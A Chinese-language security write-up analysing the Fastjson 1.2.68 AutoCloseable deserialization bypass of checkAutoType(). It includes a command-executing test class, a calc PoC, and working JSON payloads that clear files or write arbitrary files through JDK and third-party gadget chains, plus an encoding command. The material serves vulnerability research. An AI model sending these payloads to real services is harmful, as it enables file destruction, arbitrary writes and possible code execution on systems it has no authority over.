Fastjson 1.2.68 AutoCloseable 利用链深度分析
Fastjson 1.2.68 AutoCloseable 利用链深度分析前言众所周知 fastjson 反序列化最主要就是绕过 checkAutoType() 函数,前面无非是通过黑名单以外的类以及 map 缓存来进行利用,但是随着后续版本加入判断反序列化类是否继承或者实现 ClassLoader、DataSource、RowSet 类或接口,大大加深了 jndi 利用的难度。而浅蓝师傅换了条挖
Fastjson 1.2.68 AutoCloseable 利用链深度分析
前言
众所周知 fastjson 反序列化最主要就是绕过 checkAutoType() 函数,前面无非是通过黑名单以外的类以及 map 缓存来进行利用,但是随着后续版本加入判断反序列化类是否继承或者实现 ClassLoader、DataSource、RowSet 类或接口,大大加深了 jndi 利用的难度。而浅蓝师傅换了条挖掘思路成功实现利用。
原理分析
这里先写一个测试的恶意类
public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}那么构造 poc
{"@type":"java.lang.AutoCloseable","@type":"org.example.VulAutoCloseable","cmd":"calc"}无需开启AutoType,直接成功绕过 CheckAutoType() 的检测从而触发执行:
接下来开始漏洞分析,
跟进到 checkAutoType ,第一次是传入 AutoCloseable 类进行校验,这里 CheckAutoType() 函数的 expectClass 参数是为 null 的:
继续向下,直接从缓存 Mapping 中获取到了 AutoCloseable 类:然后获取到这个 clazz 之后进行了一系列的判断,clazz 是否为 null,以及关于 internalWhite 的判断,internalWhite 就是内部加白的名单,很显然这里肯定不是。
然后后面这个判断里面出现了 expectClass,先判断 clazz 是否不是 expectClass 类的继承类且不是 HashMap 类型,是的话抛出异常,否则直接返回该类。这里没有 expectClass,所以最后返回 AutoCloseable 类
接着,返回到 DefaultJSONParser 类中获取到 clazz 后再继续执行,根据 calzz 得到反序列化器 JavaBeanDeserializer,
接着调用 deserialze() 方法进行反序列化,
跟进后,里面会开始解析 poc 后面的类(也就是 VulAutoCloseable)。看到 deserializer 为 null 后设置 expectClass 为 java.lang.AutoCloseable 类,然后调用 checkAutoType() 方法,
再次跟进 checkAutoType() 方法,看到因为 AutoCloseable 类不是黑名单的类所以设置 expectClassFlag 为 true,
往下,由于 expectClassFlag 为 true,程序进入 AutoType 开启时的检测逻辑:
由于我们定义的 VulAutoCloseable 类不在黑白名单中,继续向下进入 loadClass() 逻辑来加载目标类,因为 AutoType 关闭且 jsonType 为 false,因此调用 loadClass()函数的时候是不开启 cache 即缓存的:
加载类后得到 VulAutoCloseable 类,继续向下走判断是否 jsonType,是 true 的话直接添加 Mapping 缓存并返回类,接着判断返回的类是否是继承于或者实现 ClassLoader、DataSource、RowSet 等类或接口,是的话直接抛出异常,这里过滤了大多数 jndi 注入,
接着又是判断目标类是否是 expectClass 类的子类,是的话就添加到 Mapping 缓存中并直接返回该目标类,否则直接抛出异常导致利用失败,
最后返回 clazz 触发恶意类。
漏洞利用
那么我们可以利用继承于 AutoCloseable 的类来进行恶意利用,而 IntputStream 和 OutputStream 都是实现自 AutoCloseable 接口的,而且也没有被列入黑名单,所以只要找到合适的类,那么就可进行文件读取写入操作。
找 gadget 就抓住这个三个思路就行:
- 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
- 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
- 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法调用传入的 OutputStream 的 flush 方法
以上三个组合在一起就能构造成一个写文件的利用链。
删除文件
这两个是差不多的,都是清空文件或目录。
{
'@type':"java.lang.AutoCloseable",
'@type':'java.io.FileOutputStream',
'file':'/tmp/nonexist',
'append':false
}{
'@type':"java.lang.AutoCloseable",
'@type':'java.io.FileWriter',
'file':'/tmp/nonexist',
'append':false
}这个 jdk 版本不好说,我在 windows 上是需要 jdk11 以上的,而貌似 RedHat 和 CentOS 下 jdk 8 就行了。
主要是因为 fastjson 在类没有无参数构造函数时,会通过带参构造函数进行反序列化,这时会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可,不然就会报错,
什么情况下类构造函数的参数会有参数名信息呢?只有当这个类 class 字节码带有调试信息且其中包含有变量信息时才会有。
可以通过如下命令来检查,如果有输出 LocalVariableTable,则证明其 class 字节码里的函数参数会有参数名信息:
javap -l <class_name> | grep LocalVariableTable写文件一
这个是我们主要探讨的,先看第一个 scz 师傅的延伸 payload
{
"stream": {
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/test",
"append": false
},
"writer": {
"@type":"java.lang.AutoCloseable",
"@type": "org.apache.solr.common.util.FastOutputStream",
"sink": {
"$ref": "$.stream"
},
"tempBuffer": "SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
"start": 38
},
"close": {
"@type":"java.lang.AutoCloseable",
"@type": "org.iq80.snappy.SnappyOutputStream",
"out": {
"$ref": "$.writer"
}
}
}需要用到两个第三方依赖,pom.xml
<dependency>
<groupId>org.apache.solr</groupId>
<artifactId>solr-core</artifactId>
<version>8.11.0</version>
</dependency>
<dependency>
<groupId>org.iq80.snappy</groupId>
<artifactId>snappy</artifactId>
<version>0.3</version>
</dependency>简单跟踪,反序列化会成功绕过 checkautotype() 上面学过了的,然后接下来就会实列化返回的 clazz,先实列化 FileOutputStream,
创建个文件,接着是 FastOutputStream,进行一些赋值,上面 payload 可以看到赋的什么值,
最后实列化 SnappyOutputStream,能调用到 write 方法,
跟进,最后在这里进行写入。
成功写入文件,
虽然能成功写入文件,但是同时需要两个依赖,实际情况中并不常见。
写文件二
这个 Rmb122 师傅的写文件的 poc 比较常用,只需要自带库就行,PoC,
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'E:/tmp/3.txt',
'append':false
},
'infl':
{
'input':
{
'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
'limit':22
}
},
'bufLen':1048576
},
'protocolVersion':1
}写入的数据需要利用 openssl zlib 方式的压缩
echo -ne "RMB122 is here" | openssl zlib | base64 -w 0简单分析一下,FileOutputStream 就不用说了创建目录,然后是 InflaterOutputStream 的构造函数,其中 infl 中存在了数据
最后是 MarshalOutputStream 的构造方法,
跟进其父类构造函数,调用了 bout.setBlockDataMode(true);
最后会一路调用到 InflaterOutputStream 的 write 方法,
在这里进行数据的写入。
最后也是成功写入文件。
还有师傅结合写文件进行 RCE:fastjson v1.2.68 RCE利用链复现
参考:https://b1ue.cn/archives/382.html
参考:http://scz.617.cn:8/web/202008081723.txt
参考:https://rmb122.com/2020/06/12/fastjson-1-2-68-反序列化漏洞-gadgets-挖掘笔记/

看懂了 真不容易